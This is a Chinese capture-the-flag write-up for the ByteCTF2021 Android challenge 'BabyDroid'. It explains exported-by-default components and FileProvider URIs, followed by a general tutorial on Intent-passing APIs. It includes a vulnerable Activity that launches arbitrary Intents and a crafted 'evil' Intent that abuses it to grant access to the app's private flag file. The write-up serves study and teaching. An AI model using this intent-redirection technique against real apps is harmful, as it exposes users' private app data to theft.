ByteCTF2021 BabyDroid WP
官方 wp: https://shvu8e0g7u.feishu.cn/docs/doccndYygIwisrk0FGKnKvE0Jhg
BabyDroid
考点:
- 安卓 11 (API 30) 及之前,如果
activity
,service
,receiver
的定义里包含<intent-filter
,则exported
默认为true
;在 Android12 (API 31) 之后默认为 false。 exported=true
的组件可以接受来自任意应用的 intent,该目标应用如果没鉴权,可能会越权意外执行代码- 目标应用声明了
FileProvider
,可以向其他应用开放内部存储文件权限。(提供形如content://<authorities>/<path_segment>/<file_path>
的固定 uri) - uri 格式固定,攻击 app 可以不调用
FileProvider.getUriForFile
直接构造出来 (该 api 可能没做鉴权,就是简单的字符串拼接,攻击者可以传入其他的 context)
FileProvider
用例
// 1. 生成当前应用的 urival authorities = "${context.packageName}.fileprovider" // 或者你定义的 authoritiesFileProvider.getUriForFile(context, authorities, fileToShare)// 形如 content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag// 可以直接 Uri.parse(str) 解析任意 uri// 2. 通过 Intent 允许其他应用使用Intent shareIntent = new Intent();shareIntent.setAction(Intent.ACTION_SEND); // 或者 ACTION_VIEW 等shareIntent.putExtra(Intent.EXTRA_STREAM, contentUri);shareIntent.setType(context.getContentResolver().getType(contentUri)); // 动态获取MIME类型// 对于 ACTION_SEND,通常接收方应用会处理权限请求// 但如果你直接启动一个组件并希望它有权限,就需要明确授予shareIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);// (可选)如果想让权限更具针对性,可以授予给特定的包// List<ResolveInfo> resInfoList = context.getPackageManager().queryIntentActivities(shareIntent, PackageManager.MATCH_DEFAULT_ONLY);// for (ResolveInfo resolveInfo : resInfoList) {// String packageName = resolveInfo.activityInfo.packageName;// context.grantUriPermission(packageName, contentUri, Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);// }// 7. 启动 Intentif (shareIntent.resolveActivity(context.getPackageManager()) != null) {context.startActivity(Intent.createChooser(shareIntent, "分享文件"));}
接收方:
// 在接收方的 Activity 中
Uri contentUri = getIntent().getData(); // 或者从 Intent 的 extra 中获取
if (contentUri != null) {try {InputStream inputStream = getContentResolver().openInputStream(contentUri);// 从 inputStream 读取数据并显示图片// ...if (inputStream != null) {inputStream.close();}
}
漏洞点
public class Vulnerable extends Activity {@Override // android.app.Activityprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);this.startActivity(((Intent)this.getIntent().getParcelableExtra("intent")));}
}
当前活动会执行任意 Intent
恶意 Intent
Intent evil = new Intent("evil");evil.setClass(this,MainActivity.class);evil.setData(Uri.parse("content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag"));evil.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION|Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
注:其他 Intent 传递方法
最传统的方式是 startActivity()
和 startActivityForResult()
(现在推荐使用 Activity Result APIs替代)
Android 中还有其他一些重要的 API 可以使用 Intent
来传递信息或触发操作。这些 API 服务于不同的目的:
-
启动服务 (Starting Services):
startService(Intent service)
:- 用于启动一个服务 (
Service
)。服务是在后台执行长时间运行操作而没有用户界面的组件。 - 例如:
Intent serviceIntent = new Intent(this, MyBackgroundService.class); serviceIntent.putExtra("task_data", "some_info"); startService(serviceIntent);
- 用于启动一个服务 (
startForegroundService(Intent service)
: (Android 8.0 Oreo, API 级别 26 及更高版本)- 与
startService
类似,但用于启动一个前台服务。前台服务必须显示一个用户可见的通知,并且系统对其的优先级更高,不容易被杀死。 - 启动后,服务必须在几秒钟内调用
startForeground()
。
- 与
-
发送广播 (Sending Broadcasts):
sendBroadcast(Intent intent)
:- 用于发送一个系统范围的广播消息。任何注册了相应
IntentFilter
的广播接收器 (BroadcastReceiver
) 都可以接收到这个广播,用于通知系统中发生的事件(例如,网络连接变化、电池电量低等,或者应用自定义的事件)。 - 例如:
Intent intent = new Intent("com.example.myapp.CUSTOM_ACTION"); intent.putExtra("message", "Hello from sender!"); sendBroadcast(intent);
- 用于发送一个系统范围的广播消息。任何注册了相应
sendOrderedBroadcast(Intent intent, String receiverPermission)
:- 发送一个有序广播。接收者会按照优先级顺序逐个接收广播。高优先级的接收者可以处理广播,甚至中止广播,使其不再传递给后续的低优先级接收者。
LocalBroadcastManager.getInstance(this).sendBroadcast(Intent intent)
: (来自androidx.legacy:legacy-support-v4
或androidx.localbroadcastmanager:localbroadcastmanager
)- 用于在应用的内部发送广播。这种广播不会离开你的应用,因此更安全、更高效,不需要担心其他应用的干扰或监听。
- 对于应用内部组件间的通信,这是推荐的方式。
-
绑定到服务 (Binding to Services):
bindService(Intent service, ServiceConnection conn, int flags)
:- 用于与一个服务建立一个持久的连接。这允许组件(例如 Activity)与服务进行双向通信,例如调用服务中的方法。
Intent
在这里用于指定要绑定的服务。 - 与
startService
不同,绑定服务只有在至少有一个组件绑定到它时才会运行。当所有绑定都解除时,服务会被销毁(除非它也被startService
启动了)。 ServiceConnection
对象用于接收服务的IBinder
接口,通过该接口可以与服务交互。
- 用于与一个服务建立一个持久的连接。这允许组件(例如 Activity)与服务进行双向通信,例如调用服务中的方法。
-
PendingIntent:
PendingIntent
是一个Intent
的包装器,它将一个Intent
和目标动作(例如启动 Activity、启动 Service、发送 Broadcast)封装起来,并授予另一个应用(或系统服务,如NotificationManager
,AlarmManager
)权限来在将来的某个时间点,以你的应用的名义执行这个Intent
。- 你不会直接“传递”
PendingIntent
本身给另一个组件的某个方法调用,而是将PendingIntent
对象交给系统服务,这些服务会在特定事件发生时触发它。 - 创建
PendingIntent
的方法:PendingIntent.getActivity(Context context, int requestCode, Intent intent, int flags)
: 获取一个用于启动 Activity 的 PendingIntent。PendingIntent.getService(Context context, int requestCode, Intent intent, int flags)
: 获取一个用于启动 Service 的 PendingIntent。PendingIntent.getBroadcast(Context context, int requestCode, Intent intent, int flags)
: 获取一个用于发送 Broadcast 的 PendingIntent。
- 使用场景:
- 通知 (Notifications): 当用户点击通知时,通常会执行一个
PendingIntent
来打开一个 Activity。 - 闹钟 (AlarmManager): 设置一个在未来特定时间执行的
Intent
(例如,启动一个服务或发送一个广播)。 - 应用小部件 (App Widgets): 点击小部件上的按钮时执行一个
Intent
。
- 通知 (Notifications): 当用户点击通知时,通常会执行一个